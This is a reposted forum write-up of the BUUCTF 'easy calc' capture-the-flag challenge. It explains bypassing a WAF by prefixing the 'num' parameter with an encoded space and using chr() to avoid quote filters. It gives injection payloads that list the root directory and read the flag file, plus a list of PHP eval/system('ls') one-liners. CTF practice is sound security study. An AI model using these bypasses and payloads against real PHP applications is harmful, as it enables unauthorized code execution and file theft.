【BUUCTF】easy calc

打印 上一主题 下一主题

主题 861|帖子 861|积分 2583

【BUUCTF】easy calc     (PHP代码审计)

题目来源

收录于:BUUCTF  BUUCTF2019
题目形貌

一个计算器,实验SSTI,SQL注入都无果

对计算过程抓包,发现/clac.php,表达式通过num参数进行传递

访问/calc.php,得到源码
  1. [/code]当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)
  2. [align=center][img]https://img2023.cnblogs.com/blog/3159215/202407/3159215-20240726103741298-1069986732.png[/img][/align]
  3. [size=5]题解[/size]
  4. 当在num前加上空格,即变量为%20num时,就可以绕过WAF对num的审计。在转化为PHP的key=>value时,PHP解析了传入的key,做了两件事情:
  5. [list]
  6. [*]删除空白符
  7. [*]转化特殊字符
  8. [/list]就可以把想要的变量转化为num了。
  9. exp如下:
  10. [code]calc.php?%20num=phpinfo()
复制代码

接下来获取目录:print_r(scandir('/'))
这里实验使用   system('ls') 获取目录时失败
由于对'进行过滤,可以使用chr()函数绕过,payload如下:
  1. calc.php?%20num=print_r(scandir(chr(47)))
复制代码

接下来对文件进行读取,payload如下:
  1. calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
复制代码
即file_get_contents('/f1agg')
得到flag

总结

PHP解析参数时进行以下两步:

  • 删除空白符
  • 转化特殊字符
可以使用在参数名前加%20的方法进行waf绕过
查看目录的PHP语句如下:
  1. system('ls');
  2. echo system('ls');
  3. eval(system('ls'));
  4. eval("echo system('ls');");
  5. print_r(scandir('.'));
  6. echo print_r(scandir('.'));
  7. eval(print_r(scandir('.')));
  8. eval("print_r(scandir('.'));");
  9. eval("echo print_r(scandir('.'));");
  10. var_dump(scandir('.'));
  11. echo var_dump(scandir('.'));
  12. eval(var_dump(scandir('.')));
  13. eval("var_dump(scandir('.'));");
  14. eval("echo var_dump(scandir('.'));");
复制代码
读取文件内容的PHP语句将上面的函数改为file_get_contents()即可。
当对引号进行过滤时,可以使用chr()拼接的方式进行过滤。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小秦哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表